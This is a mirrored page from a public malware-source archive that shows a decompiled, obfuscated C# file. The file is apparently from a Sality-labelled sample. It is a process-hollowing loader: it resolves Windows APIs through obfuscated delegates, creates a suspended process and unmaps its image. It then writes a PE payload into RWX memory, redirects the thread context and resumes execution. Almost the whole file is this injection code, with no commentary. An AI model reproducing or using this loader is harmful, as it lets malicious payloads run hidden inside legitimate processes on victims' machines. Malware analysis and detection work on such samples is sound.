mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
292 lines
10 KiB
C#
292 lines
10 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: .
|
|||
|
|
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
|||
|
|
|
|||
|
|
using \u0006;
|
|||
|
|
using \u0007;
|
|||
|
|
using \u0008;
|
|||
|
|
using SmartAssembly.SmartExceptionsCore;
|
|||
|
|
using System;
|
|||
|
|
using System.Runtime.CompilerServices;
|
|||
|
|
using System.Runtime.InteropServices;
|
|||
|
|
|
|||
|
|
namespace \u0006
|
|||
|
|
{
|
|||
|
|
internal sealed class \u0006 : \u0001
|
|||
|
|
{
|
|||
|
|
private \u0006.\u0006.\u0006 \u0001;
|
|||
|
|
private \u0006.\u0006.\u0005 \u0001;
|
|||
|
|
private \u0006.\u0006.\u0001 \u0001;
|
|||
|
|
private \u0006.\u0006.\u0004 \u0001;
|
|||
|
|
private \u0006.\u0006.\u0002 \u0001;
|
|||
|
|
private \u0006.\u0006.\u0003 \u0001;
|
|||
|
|
private \u0006.\u0006.\u0007 \u0001;
|
|||
|
|
|
|||
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
|
public \u0006()
|
|||
|
|
{
|
|||
|
|
\u0003.\u0003();
|
|||
|
|
// ISSUE: explicit constructor call
|
|||
|
|
base.\u002Ector();
|
|||
|
|
object[] objArray1;
|
|||
|
|
object[] objArray2;
|
|||
|
|
object[] objArray3;
|
|||
|
|
object[] objArray4;
|
|||
|
|
object[] objArray5;
|
|||
|
|
object[] objArray6;
|
|||
|
|
object[] objArray7;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
\u0005.\u0001 = (\u0001) new \u0001();
|
|||
|
|
\u0001 obj1 = \u0005.\u0001;
|
|||
|
|
objArray1 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(0),
|
|||
|
|
(object) \u0002.\u0003(20),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0006)
|
|||
|
|
};
|
|||
|
|
object[] objArray8 = objArray1;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0006) obj1.\u0003(objArray8);
|
|||
|
|
\u0001 obj2 = \u0005.\u0001;
|
|||
|
|
objArray2 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(52),
|
|||
|
|
(object) \u0002.\u0003(72),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0005)
|
|||
|
|
};
|
|||
|
|
object[] objArray9 = objArray2;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0005) obj2.\u0003(objArray9);
|
|||
|
|
\u0001 obj3 = \u0005.\u0001;
|
|||
|
|
objArray3 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(104),
|
|||
|
|
(object) \u0002.\u0003(118),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0001)
|
|||
|
|
};
|
|||
|
|
object[] objArray10 = objArray3;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0001) obj3.\u0003(objArray10);
|
|||
|
|
\u0001 obj4 = \u0005.\u0001;
|
|||
|
|
objArray4 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(162),
|
|||
|
|
(object) \u0002.\u0003(176),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0004)
|
|||
|
|
};
|
|||
|
|
object[] objArray11 = objArray4;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0004) obj4.\u0003(objArray11);
|
|||
|
|
\u0001 obj5 = \u0005.\u0001;
|
|||
|
|
objArray5 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(220),
|
|||
|
|
(object) \u0002.\u0003(234),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0002)
|
|||
|
|
};
|
|||
|
|
object[] objArray12 = objArray5;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0002) obj5.\u0003(objArray12);
|
|||
|
|
\u0001 obj6 = \u0005.\u0001;
|
|||
|
|
objArray6 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(274),
|
|||
|
|
(object) \u0002.\u0003(288),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0003)
|
|||
|
|
};
|
|||
|
|
object[] objArray13 = objArray6;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0003) obj6.\u0003(objArray13);
|
|||
|
|
\u0001 obj7 = \u0005.\u0001;
|
|||
|
|
objArray7 = new object[3]
|
|||
|
|
{
|
|||
|
|
(object) \u0002.\u0003(328),
|
|||
|
|
(object) \u0002.\u0003(342),
|
|||
|
|
(object) typeof (\u0006.\u0006.\u0007)
|
|||
|
|
};
|
|||
|
|
object[] objArray14 = objArray7;
|
|||
|
|
this.\u0001 = (\u0006.\u0006.\u0007) obj7.\u0003(objArray14);
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
object[] objArray15 = objArray1;
|
|||
|
|
object[] objArray16 = objArray2;
|
|||
|
|
object[] objArray17 = objArray3;
|
|||
|
|
object[] objArray18 = objArray4;
|
|||
|
|
object[] objArray19 = objArray5;
|
|||
|
|
object[] objArray20 = objArray6;
|
|||
|
|
object[] objArray21 = objArray7;
|
|||
|
|
throw UnhandledException.\u0003(ex, (object) objArray15, (object) objArray16, (object) objArray17, (object) objArray18, (object) objArray19, (object) objArray20, (object) objArray21, (object) this);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|||
|
|
public override unsafe object \u0003([In] object[] obj0)
|
|||
|
|
{
|
|||
|
|
byte[] numArray1;
|
|||
|
|
int[] numArray2;
|
|||
|
|
byte[] dst1;
|
|||
|
|
byte[] dst2;
|
|||
|
|
byte[] dst3;
|
|||
|
|
char ch;
|
|||
|
|
string str;
|
|||
|
|
int srcOffset;
|
|||
|
|
int num1;
|
|||
|
|
ushort num2;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
dst1 = new byte[64];
|
|||
|
|
dst2 = new byte[248];
|
|||
|
|
dst3 = new byte[40];
|
|||
|
|
numArray1 = new byte[716];
|
|||
|
|
numArray2 = new int[4];
|
|||
|
|
fixed (byte* numPtr = &dst1[0])
|
|||
|
|
;
|
|||
|
|
fixed (byte* numPtr = &dst2[0])
|
|||
|
|
;
|
|||
|
|
fixed (byte* numPtr = &dst3[0])
|
|||
|
|
;
|
|||
|
|
fixed (byte* numPtr = &numArray1[0])
|
|||
|
|
;
|
|||
|
|
ch = Convert.ToChar(32);
|
|||
|
|
str = string.Join(ch.ToString(), (string[]) obj0[1]);
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
*(int*) numPtr = 65543;
|
|||
|
|
Buffer.BlockCopy((Array) obj0[0], 0, (Array) dst1, 0, dst1.Length);
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
srcOffset = *(int*) (numPtr + 60);
|
|||
|
|
Buffer.BlockCopy((Array) obj0[0], srcOffset, (Array) dst2, 0, dst2.Length);
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
if (*(uint*) numPtr != 17744U || *(ushort*) numPtr != (ushort) 23117)
|
|||
|
|
return (object) null;
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
num1 = *(int*) (numPtr + 52);
|
|||
|
|
if (!this.\u0001((string) obj0[2], str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray2))
|
|||
|
|
return (object) null;
|
|||
|
|
int num3 = (int) this.\u0001((IntPtr) numArray2[0], (IntPtr) num1);
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
if (this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, *(uint*) (numPtr + 80), 12288U, 64U) == IntPtr.Zero)
|
|||
|
|
base.\u0003(obj0);
|
|||
|
|
fixed (byte* numPtr = &((byte[]) obj0[0])[0])
|
|||
|
|
{
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
int num4 = this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, (IntPtr) (void*) numPtr, *(uint*) (numPtr + 84), IntPtr.Zero);
|
|||
|
|
}
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
for (num2 = (ushort) 0; (int) num2 < (int) *(ushort*) (numPtr + 6); ++num2)
|
|||
|
|
{
|
|||
|
|
Buffer.BlockCopy((Array) obj0[0], srcOffset + dst2.Length + dst3.Length * (int) num2, (Array) dst3, 0, dst3.Length);
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
fixed (byte* numPtr = &((byte[]) obj0[0])[(IntPtr) *(uint*) (numPtr + 20)])
|
|||
|
|
{
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
int num5 = this.\u0001((IntPtr) numArray2[0], (IntPtr) ((long) num1 + (long) *(uint*) (numPtr + 12)), (IntPtr) (void*) numPtr, *(uint*) (numPtr + 16), IntPtr.Zero);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
int num6 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
|
|||
|
|
fixed (byte* numPtr = &BitConverter.GetBytes(num1)[0])
|
|||
|
|
{
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
int num7 = this.\u0001((IntPtr) numArray2[0], (IntPtr) (long) (*(uint*) (numPtr + 164) + 8U), (IntPtr) (void*) numPtr, 4U, IntPtr.Zero);
|
|||
|
|
}
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
*(int*) (numPtr + 176) = num1 + (int) *(uint*) (numPtr + 40);
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
int num8 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
|
|||
|
|
int num9 = (int) this.\u0001((IntPtr) numArray2[1], IntPtr.Zero);
|
|||
|
|
return (object) null;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: fixed variable is out of scope
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
// ISSUE: cast to a reference type
|
|||
|
|
// ISSUE: explicit reference operation
|
|||
|
|
object[] objArray = new object[23]
|
|||
|
|
{
|
|||
|
|
(object) dst1,
|
|||
|
|
(object) dst2,
|
|||
|
|
(object) dst3,
|
|||
|
|
(object) numArray1,
|
|||
|
|
(object) numArray2,
|
|||
|
|
(object) (int) numPtr,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) (int) numPtr,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) (int) numPtr,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) (int) numPtr,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) str,
|
|||
|
|
(object) srcOffset,
|
|||
|
|
(object) num1,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) num2,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) ^(byte&) numPtr,
|
|||
|
|
(object) ch,
|
|||
|
|
(object) this,
|
|||
|
|
(object) obj0
|
|||
|
|
};
|
|||
|
|
throw UnhandledException.\u0003(ex, objArray);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private delegate uint \u0001(IntPtr _param1, IntPtr _param2);
|
|||
|
|
|
|||
|
|
private delegate int \u0002(IntPtr _param1, IntPtr _param2);
|
|||
|
|
|
|||
|
|
private delegate int \u0003(IntPtr _param1, IntPtr _param2);
|
|||
|
|
|
|||
|
|
private delegate int \u0004(
|
|||
|
|
IntPtr _param1,
|
|||
|
|
IntPtr _param2,
|
|||
|
|
IntPtr _param3,
|
|||
|
|
uint _param4,
|
|||
|
|
IntPtr _param5);
|
|||
|
|
|
|||
|
|
private delegate IntPtr \u0005(
|
|||
|
|
IntPtr _param1,
|
|||
|
|
IntPtr _param2,
|
|||
|
|
uint _param3,
|
|||
|
|
uint _param4,
|
|||
|
|
uint _param5);
|
|||
|
|
|
|||
|
|
private delegate bool \u0006(
|
|||
|
|
string _param1,
|
|||
|
|
string _param2,
|
|||
|
|
IntPtr _param3,
|
|||
|
|
IntPtr _param4,
|
|||
|
|
bool _param5,
|
|||
|
|
uint _param6,
|
|||
|
|
IntPtr _param7,
|
|||
|
|
string _param8,
|
|||
|
|
byte[] _param9,
|
|||
|
|
int[] _param10);
|
|||
|
|
|
|||
|
|
private delegate uint \u0007(IntPtr _param1, IntPtr _param2);
|
|||
|
|
}
|
|||
|
|
}
|